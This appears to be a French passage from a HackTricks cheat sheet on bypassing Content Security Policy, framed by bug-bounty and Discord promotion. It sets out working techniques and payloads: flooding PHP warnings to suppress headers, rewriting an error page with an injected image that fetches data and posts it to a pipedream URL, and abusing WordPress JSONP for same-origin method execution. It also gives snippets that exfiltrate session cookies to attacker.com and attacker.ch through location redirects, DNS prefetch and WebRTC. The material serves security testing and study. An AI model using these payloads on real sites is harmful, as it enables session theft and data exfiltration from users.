Latest Announcements
Restez informé des nouveaux bug bounties lancés et des mises à jour cruciales des plateformes
Join us on Discord et commencez à collaborer avec les meilleurs hackers aujourd'hui !
Technologies non sécurisées pour contourner le CSP
Erreurs PHP lorsque trop de paramètres
Selon la dernière technique commentée dans cette vidéo, envoyer trop de paramètres (1001 paramètres GET bien que vous puissiez également le faire avec des paramètres POST et plus de 20 fichiers). Tout header()
défini dans le code web PHP ne sera pas envoyé à cause de l'erreur que cela déclenchera.
Surcharge du tampon de réponse PHP
PHP est connu pour bufferiser la réponse à 4096 octets par défaut. Par conséquent, si PHP affiche un avertissement, en fournissant suffisamment de données à l'intérieur des avertissements, la réponse sera envoyée avant le header CSP, ce qui entraînera l'ignorance du header.
Ensuite, la technique consiste essentiellement à remplir le tampon de réponse avec des avertissements afin que le header CSP ne soit pas envoyé.
Idée tirée de ce writeup.
Réécrire la page d'erreur
D'après ce writeup, il semble qu'il ait été possible de contourner une protection CSP en chargeant une page d'erreur (potentiellement sans CSP) et en réécrivant son contenu.
a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);
SOME + 'self' + wordpress
SOME est une technique qui abuse d'un XSS (ou d'un XSS très limité) dans un point de terminaison d'une page pour abuser d'autres points de terminaison de la même origine. Cela se fait en chargeant le point de terminaison vulnérable depuis une page de l'attaquant, puis en actualisant la page de l'attaquant vers le véritable point de terminaison de la même origine que vous souhaitez abuser. De cette manière, le point de terminaison vulnérable peut utiliser l'objet opener
dans la charge utile pour accéder au DOM du véritable point de terminaison à abuser. Pour plus d'informations, consultez :
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}
De plus, wordpress a un point de terminaison JSONP dans /wp-json/wp/v2/users/1?_jsonp=data
qui va réfléchir les données envoyées dans la sortie (avec la limitation de seulement des lettres, des chiffres et des points).
Un attaquant peut abuser de ce point de terminaison pour générer une attaque SOME contre WordPress et l'incorporer à l'intérieur de <script s
rc=/wp-json/wp/v2/users/1?_jsonp=some_attack></script>
notez que ce script sera chargé car il est autorisé par 'self'. De plus, et parce que WordPress est installé, un attaquant pourrait abuser de l'attaque SOME via le point de terminaison vulnérable callback qui contourne le CSP pour donner plus de privilèges à un utilisateur, installer un nouveau plugin...
Pour plus d'informations sur la façon de réaliser cette attaque, consultez https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/
Contournements d'exfiltration CSP
S'il y a un CSP strict qui ne vous permet pas de interagir avec des serveurs externes, il y a certaines choses que vous pouvez toujours faire pour exfiltrer les informations.
Emplacement
Vous pourriez simplement mettre à jour l'emplacement pour envoyer au serveur de l'attaquant les informations secrètes :
var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;
Meta tag
Vous pouvez rediriger en injectant une balise meta (il s'agit simplement d'une redirection, cela ne fuitera pas de contenu)
<meta http-equiv="refresh" content="1; http://attacker.com">
DNS Prefetch
Pour charger les pages plus rapidement, les navigateurs vont pré-résoudre les noms d'hôtes en adresses IP et les mettre en cache pour une utilisation ultérieure.
Vous pouvez indiquer à un navigateur de pré-résoudre un nom d'hôte avec : <link rel="dns-prefetch" href="something.com">
Vous pourriez abuser de ce comportement pour exfiltrer des informations sensibles via des requêtes DNS :
var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
Une autre façon :
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
Pour éviter que cela ne se produise, le serveur peut envoyer l'en-tête HTTP :
X-DNS-Prefetch-Control: off
{% hint style="info" %} Apparemment, cette technique ne fonctionne pas dans les navigateurs sans tête (bots) {% endhint %}
WebRTC
Sur plusieurs pages, vous pouvez lire que WebRTC ne vérifie pas la politique connect-src
du CSP.
En réalité, vous pouvez leak des informations en utilisant une demande DNS. Consultez ce code :
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
Une autre option :
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
Vérification des politiques CSP en ligne
Création automatique de CSP
https://csper.io/docs/generating-content-security-policy
Références
- https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/
- https://lcamtuf.coredump.cx/postxss/
- https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d
- https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme
- https://www.youtube.com/watch?v=MCyPuOWs3dg
- https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/
- https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/
Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
Aperçus de hacking
Engagez-vous avec du contenu qui explore le frisson et les défis du hacking
Actualités de hacking en temps réel
Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel
Dernières annonces
Restez informé des nouveaux programmes de bug bounty lancés et des mises à jour cruciales des plateformes
Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Consultez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs aux dépôts github de HackTricks et HackTricks Cloud.